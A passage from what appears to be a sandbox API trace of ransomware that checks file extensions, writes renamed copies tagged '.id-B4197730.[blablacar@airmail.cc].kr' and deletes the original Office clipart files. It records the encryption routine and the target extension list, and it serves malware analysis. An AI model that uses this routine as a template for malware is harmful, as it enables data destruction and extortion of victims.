Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString=".zip") returned 4 [0207.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.370] lstrlenW (lpString=".rar") returned 4 [0207.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString=".bz2") returned 4 [0207.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString=".7z") returned 3 [0207.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.371] lstrlenW (lpString=".dbf") returned 4 [0207.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.371] lstrlenW (lpString=".1cd") returned 4 [0207.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.371] lstrlenW (lpString=".jpg") returned 4 [0207.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.371] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.371] lstrlenW (lpString="J0105520.WMF") returned 12 [0207.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.372] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=31812) returned 1 [0207.372] CloseHandle (hObject=0x554) returned 1 [0207.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0207.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.373] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.373] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0207.374] GetLastError () returned 0x0 [0207.374] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0207.376] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0207.853] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.853] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.853] SetEndOfFile (hFile=0x3c4) returned 1 [0207.854] CloseHandle (hObject=0x3c4) returned 1 [0207.854] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.854] SetEndOfFile (hFile=0x554) returned 1 [0207.858] CloseHandle (hObject=0x554) returned 1 [0207.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0207.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.861] lstrlenW (lpString=".doc") returned 4 [0207.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.861] lstrlenW (lpString=".docx") returned 5 [0207.861] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.861] lstrlenW (lpString=".pdf") returned 4 [0207.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.861] lstrlenW (lpString=".xls") returned 4 [0207.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.861] lstrlenW (lpString=".xlsx") returned 5 [0207.861] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.861] lstrlenW (lpString=".ppt") returned 4 [0207.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.861] lstrlenW (lpString=".zip") returned 4 [0207.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.861] lstrlenW (lpString=".rar") returned 4 [0207.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString=".bz2") returned 4 [0207.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString=".7z") returned 3 [0207.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString=".dbf") returned 4 [0207.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString=".1cd") returned 4 [0207.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString=".jpg") returned 4 [0207.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString=".doc") returned 4 [0207.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString=".docx") returned 5 [0207.862] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.862] lstrlenW (lpString=".pdf") returned 4 [0207.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString=".xls") returned 4 [0207.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.862] lstrlenW (lpString=".xlsx") returned 5 [0207.862] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.862] lstrlenW (lpString=".ppt") returned 4 [0207.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.862] lstrlenW (lpString=".zip") returned 4 [0207.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.863] lstrlenW (lpString=".rar") returned 4 [0207.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.863] lstrlenW (lpString=".bz2") returned 4 [0207.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.863] lstrlenW (lpString=".7z") returned 3 [0207.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.863] lstrlenW (lpString=".dbf") returned 4 [0207.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.863] lstrlenW (lpString=".1cd") returned 4 [0207.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0207.863] lstrlenW (lpString=".jpg") returned 4 [0207.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.863] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.863] lstrlenW (lpString="J0105526.WMF") returned 12 [0207.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.864] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=17332) returned 1 [0207.864] CloseHandle (hObject=0x554) returned 1 [0207.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0207.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.865] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.865] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0207.866] GetLastError () returned 0x0 [0207.866] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0207.868] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0207.870] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.870] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.870] SetEndOfFile (hFile=0x3c4) returned 1 [0207.870] CloseHandle (hObject=0x3c4) returned 1 [0207.871] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.871] SetEndOfFile (hFile=0x554) returned 1 [0207.873] CloseHandle (hObject=0x554) returned 1 [0207.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0207.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.874] lstrlenW (lpString=".doc") returned 4 [0207.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.874] lstrlenW (lpString=".docx") returned 5 [0207.875] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0207.875] lstrlenW (lpString=".pdf") returned 4 [0207.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".xls") returned 4 [0207.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.875] lstrlenW (lpString=".xlsx") returned 5 [0207.875] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0207.875] lstrlenW (lpString=".ppt") returned 4 [0207.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString=".zip") returned 4 [0207.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.875] lstrlenW (lpString=".rar") returned 4 [0207.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".bz2") returned 4 [0207.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".7z") returned 3 [0207.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString=".dbf") returned 4 [0207.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString=".1cd") returned 4 [0207.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString=".jpg") returned 4 [0207.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.875] lstrlenW (lpString=".doc") returned 4 [0207.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".docx") returned 5 [0207.875] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0207.876] lstrlenW (lpString=".pdf") returned 4 [0207.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString=".xls") returned 4 [0207.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.876] lstrlenW (lpString=".xlsx") returned 5 [0207.876] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0207.876] lstrlenW (lpString=".ppt") returned 4 [0207.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.876] lstrlenW (lpString=".zip") returned 4 [0207.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.876] lstrlenW (lpString=".rar") returned 4 [0207.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString=".bz2") returned 4 [0207.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString=".7z") returned 3 [0207.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.876] lstrlenW (lpString=".dbf") returned 4 [0207.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.876] lstrlenW (lpString=".1cd") returned 4 [0207.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0207.876] lstrlenW (lpString=".jpg") returned 4 [0207.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.876] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.876] lstrlenW (lpString="J0105530.WMF") returned 12 [0207.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.877] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7384) returned 1 [0207.877] CloseHandle (hObject=0x554) returned 1 [0207.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0207.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.878] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.878] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0207.879] GetLastError () returned 0x0 [0207.879] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0208.394] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0208.395] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.395] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.395] SetEndOfFile (hFile=0x3c4) returned 1 [0208.396] CloseHandle (hObject=0x3c4) returned 1 [0208.396] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.396] SetEndOfFile (hFile=0x554) returned 1 [0208.398] CloseHandle (hObject=0x554) returned 1 [0208.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0208.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.400] lstrlenW (lpString=".doc") returned 4 [0208.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.400] lstrlenW (lpString=".docx") returned 5 [0208.400] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.400] lstrlenW (lpString=".pdf") returned 4 [0208.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.400] lstrlenW (lpString=".xls") returned 4 [0208.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.400] lstrlenW (lpString=".xlsx") returned 5 [0208.400] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.400] lstrlenW (lpString=".ppt") returned 4 [0208.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.400] lstrlenW (lpString=".zip") returned 4 [0208.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.400] lstrlenW (lpString=".rar") returned 4 [0208.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.400] lstrlenW (lpString=".bz2") returned 4 [0208.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString=".7z") returned 3 [0208.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString=".dbf") returned 4 [0208.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString=".1cd") returned 4 [0208.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString=".jpg") returned 4 [0208.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString=".doc") returned 4 [0208.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString=".docx") returned 5 [0208.401] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.401] lstrlenW (lpString=".pdf") returned 4 [0208.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString=".xls") returned 4 [0208.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.401] lstrlenW (lpString=".xlsx") returned 5 [0208.401] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.401] lstrlenW (lpString=".ppt") returned 4 [0208.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.401] lstrlenW (lpString=".zip") returned 4 [0208.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.401] lstrlenW (lpString=".rar") returned 4 [0208.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.401] lstrlenW (lpString=".bz2") returned 4 [0208.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.402] lstrlenW (lpString=".7z") returned 3 [0208.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.402] lstrlenW (lpString="C:\\Program Files\\Microsoft 